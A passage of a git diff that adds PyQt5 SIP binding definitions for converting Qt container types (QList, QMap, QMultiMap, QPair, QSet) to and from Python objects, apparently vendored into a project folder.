sub_len; + + if (PySequence_Check(seq) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(seq) +#endif + && !PyUnicode_Check(seq)) + sub_len = PySequence_Size(seq); + else + sub_len = -1; + + if (sub_len != 2) + { + if (sub_len < 0) + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but a 2 element non-string sequence is expected", + i, sipPyTypeName(Py_TYPE(seq))); + else + PyErr_Format(PyExc_TypeError, + "index %zd is a sequence of %zd sub-elements but 2 sub-elements are expected", + i, sub_len); + + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + PyObject *itm1 = PySequence_GetItem(seq, 0); + + if (!itm1) + { + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + int state1; + _TYPE1_ *s1 = reinterpret_cast<_TYPE1_ *>( + sipForceConvertToType(itm1, sipType__TYPE1_, sipTransferObj, + SIP_NOT_NONE, &state1, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "the first sub-element of index %zd has type '%s' but '_TYPE1_' is expected", + i, sipPyTypeName(Py_TYPE(itm1))); + + Py_DECREF(itm1); + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + + return 0; + } + + PyObject *itm2 = PySequence_GetItem(seq, 1); + + if (!itm2) + { + sipReleaseType(s1, sipType__TYPE1_, state1); + Py_DECREF(itm1); + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + int state2; + _TYPE2_ *s2 = reinterpret_cast<_TYPE2_ *>( + sipForceConvertToType(itm2, sipType__TYPE2_, sipTransferObj, + SIP_NOT_NONE, &state2, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "the second sub-element of index %zd has type '%s' but '_TYPE2_' is expected", + i, sipPyTypeName(Py_TYPE(itm2))); + + Py_DECREF(itm2); + sipReleaseType(s1, sipType__TYPE1_, state1); + Py_DECREF(itm1); + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + + return 0; + } + + ql->append(QPair<_TYPE1_, _TYPE2_>(*s1, *s2)); + + sipReleaseType(s2, sipType__TYPE2_, state2); + Py_DECREF(itm2); + sipReleaseType(s1, sipType__TYPE1_, state1); + Py_DECREF(itm1); + Py_DECREF(seq); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +%If (Qt_5_1_0 -) + +%MappedType QList > + /TypeHintIn="Iterable[Tuple[int, int]]", + TypeHintOut="List[Tuple[int, int]]", TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + const QPair &p = sipCpp->at(i); + PyObject *pobj = Py_BuildValue((char *)"ii", p.first, p.second); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList > *ql = new QList >; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *seq = PyIter_Next(iter); + + if (!seq) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + Py_ssize_t sub_len; + + if (PySequence_Check(seq) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(seq) +#endif + && !PyUnicode_Check(seq)) + sub_len = PySequence_Size(seq); + else + sub_len = -1; + + if (sub_len != 2) + { + if (sub_len < 0) + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but a 2 element non-string sequence is expected", + i, sipPyTypeName(Py_TYPE(seq))); + else + PyErr_Format(PyExc_TypeError, + "index %zd is a sequence of %zd sub-elements but 2 sub-elements are expected", + i, sub_len); + + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + PyObject *itm1 = PySequence_GetItem(seq, 0); + + if (!itm1) + { + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + int first = sipLong_AsInt(itm1); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "the first sub-element of index %zd has type '%s' but 'int' is expected", + i, sipPyTypeName(Py_TYPE(itm1))); + + Py_DECREF(itm1); + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + PyObject *itm2 = PySequence_GetItem(seq, 1); + + if (!itm2) + { + Py_DECREF(itm1); + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + int second = sipLong_AsInt(itm2); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "the second sub-element of index %zd has type '%s' but 'int' is expected", + i, sipPyTypeName(Py_TYPE(itm2))); + + Py_DECREF(itm2); + Py_DECREF(itm1); + Py_DECREF(seq); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(QPair(first, second)); + + Py_DECREF(itm2); + Py_DECREF(itm1); + Py_DECREF(seq); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + +%End + + +%MappedType QList + /TypeHintIn="Iterable[int]", TypeHintOut="List[int]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *pobj = SIPLong_FromLong(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int val = sipLong_AsInt(itm); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'int' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +%MappedType QList + /TypeHintIn="Iterable[float]", TypeHintOut="List[float]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *pobj = PyFloat_FromDouble(sipCpp->value(i)); + + if (!pobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, pobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + PyErr_Clear(); + double val = PyFloat_AsDouble(itm); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'float' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(val); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; + + +%MappedType QList + /TypeHintIn="Iterable[Qt.DayOfWeek]", TypeHintOut="List[Qt.DayOfWeek]", + TypeHintValue="[]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *l = PyList_New(sipCpp->size()); + + if (!l) + return 0; + + for (int i = 0; i < sipCpp->size(); ++i) + { + PyObject *eobj = sipConvertFromEnum(sipCpp->at(i), + sipType_Qt_DayOfWeek); + + if (!eobj) + { + Py_DECREF(l); + + return 0; + } + + PyList_SetItem(l, i, eobj); + } + + return l; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QList *ql = new QList; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int v = sipConvertToEnum(itm, sipType_Qt_DayOfWeek); + + if (PyErr_Occurred()) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but 'Qt.DayOfWeek' is expected", + i, sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete ql; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + ql->append(static_cast(v)); + + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = ql; + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qmap.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qmap.sip new file mode 100644 index 00000000..ccff1310 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qmap.sip @@ -0,0 +1,354 @@ +// This is the SIP interface definition for the majority of the QMap and +// QMultiMap based mapped types. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +template<_TYPE1_, _TYPE2_> +%MappedType QMap<_TYPE1_, _TYPE2_> + /TypeHint="Dict[_TYPE1_, _TYPE2_]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QMap<_TYPE1_, _TYPE2_>::const_iterator it = sipCpp->constBegin(); + QMap<_TYPE1_, _TYPE2_>::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + _TYPE1_ *k = new _TYPE1_(it.key()); + PyObject *kobj = sipConvertFromNewType(k, sipType__TYPE1_, + sipTransferObj); + + if (!kobj) + { + delete k; + Py_DECREF(d); + + return 0; + } + + _TYPE2_ *v = new _TYPE2_(it.value()); + PyObject *vobj = sipConvertFromNewType(v, sipType__TYPE2_, + sipTransferObj); + + if (!vobj) + { + delete v; + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++it; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QMap<_TYPE1_, _TYPE2_> *qm = new QMap<_TYPE1_, _TYPE2_>; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + int kstate; + _TYPE1_ *k = reinterpret_cast<_TYPE1_ *>( + sipForceConvertToType(kobj, sipType__TYPE1_, sipTransferObj, + SIP_NOT_NONE, &kstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict key has type '%s' but '_TYPE1_' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete qm; + + return 0; + } + + int vstate; + _TYPE2_ *v = reinterpret_cast<_TYPE2_ *>( + sipForceConvertToType(vobj, sipType__TYPE2_, sipTransferObj, + SIP_NOT_NONE, &vstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict value has type '%s' but '_TYPE2_' is expected", + sipPyTypeName(Py_TYPE(vobj))); + + sipReleaseType(k, sipType__TYPE1_, kstate); + delete qm; + + return 0; + } + + qm->insert(*k, *v); + + sipReleaseType(v, sipType__TYPE2_, vstate); + sipReleaseType(k, sipType__TYPE1_, kstate); + } + + *sipCppPtr = qm; + + return sipGetState(sipTransferObj); +%End +}; + + +template +%MappedType QMap + /TypeHint="Dict[int, _TYPE_]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QMap::const_iterator it = sipCpp->constBegin(); + QMap::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + PyObject *kobj = SIPLong_FromLong(it.key()); + + if (!kobj) + { + Py_DECREF(d); + + return 0; + } + + _TYPE_ *v = new _TYPE_(it.value()); + PyObject *vobj = sipConvertFromNewType(v, sipType__TYPE_, + sipTransferObj); + + if (!vobj) + { + delete v; + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++it; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + QMap *qm = new QMap; + + Py_ssize_t pos = 0; + PyObject *kobj, *vobj; + + while (PyDict_Next(sipPy, &pos, &kobj, &vobj)) + { + int k = sipLong_AsInt(kobj); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "a dict key has type '%s' but 'int' is expected", + sipPyTypeName(Py_TYPE(kobj))); + + delete qm; + *sipIsErr = 1; + + return 0; + } + + int vstate; + _TYPE_ *v = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(vobj, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &vstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "a dict value has type '%s' but '_TYPE_' is expected", + sipPyTypeName(Py_TYPE(vobj))); + + delete qm; + + return 0; + } + + qm->insert(k, *v); + + sipReleaseType(v, sipType__TYPE_, vstate); + } + + *sipCppPtr = qm; + + return sipGetState(sipTransferObj); +%End +}; + + +template<_TYPE1_, _TYPE2_> +%MappedType QMultiMap<_TYPE1_, _TYPE2_> + /TypeHintOut="Dict[_TYPE1_, List[_TYPE2_]]", TypeHintValue="{}"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *d = PyDict_New(); + + if (!d) + return 0; + + QList<_TYPE1_> keys = sipCpp->keys(); + QList<_TYPE1_>::const_iterator kit = keys.constBegin(); + QList<_TYPE1_>::const_iterator kit_end = keys.constEnd(); + + while (kit != kit_end) + { + _TYPE1_ *k = new _TYPE1_(*kit); + PyObject *kobj = sipConvertFromNewType(k, sipType__TYPE1_, + sipTransferObj); + + if (!kobj) + { + delete k; + Py_DECREF(d); + + return 0; + } + + // Create a Python list as the dictionary value. + QList<_TYPE2_> values = sipCpp->values(*kit); + PyObject *vobj = PyList_New(values.count()); + + if (!vobj) + { + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + QList<_TYPE2_>::const_iterator vit = values.constBegin(); + QList<_TYPE2_>::const_iterator vit_end = values.constEnd(); + + for (int i = 0; vit != vit_end; ++i) + { + _TYPE2_ *sv = new _TYPE2_(*vit); + PyObject *svobj = sipConvertFromNewType(sv, sipType__TYPE2_, + sipTransferObj); + + if (!svobj) + { + delete sv; + Py_DECREF(vobj); + Py_DECREF(kobj); + Py_DECREF(d); + + return 0; + } + + PyList_SetItem(vobj, i, svobj); + + ++vit; + } + + int rc = PyDict_SetItem(d, kobj, vobj); + + Py_DECREF(vobj); + Py_DECREF(kobj); + + if (rc < 0) + { + Py_DECREF(d); + + return 0; + } + + ++kit; + } + + return d; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return PyDict_Check(sipPy); + + // Note that PyQt v5.1 contains an unused implementation that can be + // restored if needed (although it will need updating to accept an iterable + // rather than just a list of values). + PyErr_SetString(PyExc_NotImplementedError, + "converting to QMultiMap<_TYPE1_, _TYPE2_> is unsupported"); + + *sipIsErr = 1; + + return 0; +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qpair.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qpair.sip new file mode 100644 index 00000000..a97c1035 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qpair.sip @@ -0,0 +1,337 @@ +// This is the SIP interface definition for the majority of the QPair based +// mapped types. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_10_0 -) + +template<_TYPE1_, _TYPE2_> +%MappedType QPair<_TYPE1_, _TYPE2_> /TypeHint="Tuple[_TYPE1_, _TYPE2_]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + _TYPE1_ *first = new _TYPE1_(sipCpp->first); + _TYPE2_ *second = new _TYPE2_(sipCpp->second); + PyObject *t = sipBuildResult(NULL, "(NN)", first, sipType__TYPE1_, + sipTransferObj, second, sipType__TYPE2_, sipTransferObj); + + if (!t) + { + delete first; + delete second; + + return 0; + } + + return t; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return (PySequence_Check(sipPy) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + + Py_ssize_t len = PySequence_Size(sipPy); + + if (len != 2) + { + // A negative length should only be an internal error so let the + // original exception stand. + if (len >= 0) + PyErr_Format(PyExc_TypeError, + "sequence has %zd elements but 2 elements are expected", + len); + + *sipIsErr = 1; + + return 0; + } + + PyObject *firstobj = PySequence_GetItem(sipPy, 0); + + if (!firstobj) + { + *sipIsErr = 1; + + return 0; + } + + int firststate; + _TYPE1_ *first = reinterpret_cast<_TYPE1_ *>( + sipForceConvertToType(firstobj, sipType__TYPE1_, sipTransferObj, + SIP_NOT_NONE, &firststate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "the first element has type '%s' but '_TYPE1_' is expected", + sipPyTypeName(Py_TYPE(firstobj))); + + return 0; + } + + PyObject *secondobj = PySequence_GetItem(sipPy, 1); + + if (!secondobj) + { + sipReleaseType(first, sipType__TYPE1_, firststate); + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + int secondstate; + _TYPE2_ *second = reinterpret_cast<_TYPE2_ *>( + sipForceConvertToType(secondobj, sipType__TYPE2_, sipTransferObj, + SIP_NOT_NONE, &secondstate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "the second element has type '%s' but '_TYPE2_' is expected", + sipPyTypeName(Py_TYPE(secondobj))); + + Py_DECREF(secondobj); + sipReleaseType(first, sipType__TYPE1_, firststate); + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + *sipCppPtr = new QPair<_TYPE1_, _TYPE2_>(*first, *second); + + sipReleaseType(second, sipType__TYPE2_, secondstate); + Py_DECREF(secondobj); + sipReleaseType(first, sipType__TYPE1_, firststate); + Py_DECREF(firstobj); + + return sipGetState(sipTransferObj); +%End +}; + +%End + + +template<_TYPE_> +%MappedType QPair<_TYPE_, int> /TypeHint="Tuple[_TYPE_, int]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + _TYPE_ *first = new _TYPE_(sipCpp->first); + PyObject *t = sipBuildResult(NULL, "(Ni)", first, sipType__TYPE_, + sipTransferObj, sipCpp->second); + + if (!t) + { + delete first; + + return 0; + } + + return t; +%End + +%ConvertToTypeCode + if (!sipIsErr) + return (PySequence_Check(sipPy) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + + Py_ssize_t len = PySequence_Size(sipPy); + + if (len != 2) + { + // A negative length should only be an internal error so let the + // original exception stand. + if (len >= 0) + PyErr_Format(PyExc_TypeError, + "sequence has %zd elements but 2 elements are expected", + len); + + *sipIsErr = 1; + + return 0; + } + + PyObject *firstobj = PySequence_GetItem(sipPy, 0); + + if (!firstobj) + { + *sipIsErr = 1; + + return 0; + } + + int firststate; + _TYPE_ *first = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(firstobj, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &firststate, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "the first element has type '%s' but '_TYPE_' is expected", + sipPyTypeName(Py_TYPE(firstobj))); + + return 0; + } + + PyObject *secondobj = PySequence_GetItem(sipPy, 1); + + if (!secondobj) + { + sipReleaseType(first, sipType__TYPE_, firststate); + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + int second = sipLong_AsInt(secondobj); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "the second element has type '%s' but 'int' is expected", + sipPyTypeName(Py_TYPE(secondobj))); + + Py_DECREF(secondobj); + sipReleaseType(first, sipType__TYPE_, firststate); + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + *sipCppPtr = new QPair<_TYPE_, int>(*first, second); + + Py_DECREF(secondobj); + sipReleaseType(first, sipType__TYPE_, firststate); + Py_DECREF(firstobj); + + return sipGetState(sipTransferObj); +%End +}; + + +%MappedType QPair /TypeHint="Tuple[int, int]"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + return Py_BuildValue("(ii)", sipCpp->first, sipCpp->second); +%End + +%ConvertToTypeCode + if (!sipIsErr) + return (PySequence_Check(sipPy) +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + + Py_ssize_t len = PySequence_Size(sipPy); + + if (len != 2) + { + // A negative length should only be an internal error so let the + // original exception stand. + if (len >= 0) + PyErr_Format(PyExc_TypeError, + "sequence has %zd elements but 2 elements are expected", + len); + + *sipIsErr = 1; + + return 0; + } + + PyObject *firstobj = PySequence_GetItem(sipPy, 0); + + if (!firstobj) + { + *sipIsErr = 1; + + return 0; + } + + int first = sipLong_AsInt(firstobj); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "the first element has type '%s' but 'int' is expected", + sipPyTypeName(Py_TYPE(firstobj))); + + *sipIsErr = 1; + + return 0; + } + + PyObject *secondobj = PySequence_GetItem(sipPy, 1); + + if (!secondobj) + { + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + int second = sipLong_AsInt(secondobj); + + if (PyErr_Occurred()) + { + if (PyErr_ExceptionMatches(PyExc_TypeError)) + PyErr_Format(PyExc_TypeError, + "the second element has type '%s' but 'int' is expected", + sipPyTypeName(Py_TYPE(secondobj))); + + Py_DECREF(secondobj); + Py_DECREF(firstobj); + *sipIsErr = 1; + + return 0; + } + + *sipCppPtr = new QPair(first, second); + + Py_DECREF(secondobj); + Py_DECREF(firstobj); + + return sipGetState(sipTransferObj); +%End +}; diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qset.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qset.sip new file mode 100644 index 00000000..a928f339 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtCore/qpycore_qset.sip @@ -0,0 +1,252 @@ +// This is the SIP interface definition for the majority of the QSet based +// mapped types. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +template<_TYPE_> +%MappedType QSet<_TYPE_> + /TypeHintIn="Iterable[_TYPE_]", TypeHintOut="Set[_TYPE_]", + TypeHintValue="set()"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + PyObject *s = PySet_New(0); + + if (!s) + return 0; + + QSet<_TYPE_>::const_iterator it = sipCpp->constBegin(); + QSet<_TYPE_>::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + _TYPE_ *t = new _TYPE_(*it); + PyObject *tobj = sipConvertFromNewType(t, sipType__TYPE_, + sipTransferObj); + + if (!tobj) + { + delete t; + Py_DECREF(s); + + return 0; + } + + PySet_Add(s, tobj); + + ++it; + } + + return s; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QSet<_TYPE_> *qs = new QSet<_TYPE_>; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if (!itm) + { + if (PyErr_Occurred()) + { + delete qs; + Py_DECREF(iter); + *sipIsErr = 1; + + return 0; + } + + break; + } + + int state; + _TYPE_ *t = reinterpret_cast<_TYPE_ *>( + sipForceConvertToType(itm, sipType__TYPE_, sipTransferObj, + SIP_NOT_NONE, &state, sipIsErr)); + + if (*sipIsErr) + { + PyErr_Format(PyExc_TypeError, + "index %zd has type '%s' but '_TYPE_' is expected", i, + sipPyTypeName(Py_TYPE(itm))); + + Py_DECREF(itm); + delete qs; + Py_DECREF(iter); + + return 0; + } + + qs->insert(*t); + + sipReleaseType(t, sipType__TYPE_, state); + Py_DECREF(itm); + } + + Py_DECREF(iter); + + *sipCppPtr = qs; + + return sipGetState(sipTransferObj); +%End +}; + + +template<_TYPE_> +%MappedType QSet<_TYPE_ *> + /TypeHintIn="Iterable[_TYPE_]", TypeHintOut="Set[_TYPE_]", + TypeHintValue="set()"/ +{ +%TypeHeaderCode +#include +%End + +%ConvertFromTypeCode + int gc_enabled = sipEnableGC(0); + PyObject *s = PySet_New(0); + + if (s) + { + QSet<_TYPE_ *>::const_iterator it = sipCpp->constBegin(); + QSet<_TYPE_ *>::const_iterator end = sipCpp->constEnd(); + + while (it != end) + { + // The explicit (void *) cast allows _TYPE_ to be const. + PyObject *tobj = sipConvertFromType((void *)*it, sipType__TYPE_, + sipTransferObj); + + if (!tobj) + { + Py_DECREF(s); + s = 0; + + break; + } + + PySet_Add(s, tobj); + + ++it; + } + } + + sipEnableGC(gc_enabled); + + return s; +%End + +%ConvertToTypeCode + PyObject *iter = PyObject_GetIter(sipPy); + + if (!sipIsErr) + { + PyErr_Clear(); + Py_XDECREF(iter); + + return (iter +#if PY_MAJOR_VERSION < 3 + && !PyString_Check(sipPy) +#endif + && !PyUnicode_Check(sipPy)); + } + + if (!iter) + { + *sipIsErr = 1; + + return 0; + } + + QSet<_TYPE_ *> *qs = new QSet<_TYPE_ *>; + + for (Py_ssize_t i = 0; ; ++i) + { + PyErr_Clear(); + PyObject *itm = PyIter_Next(iter); + + if 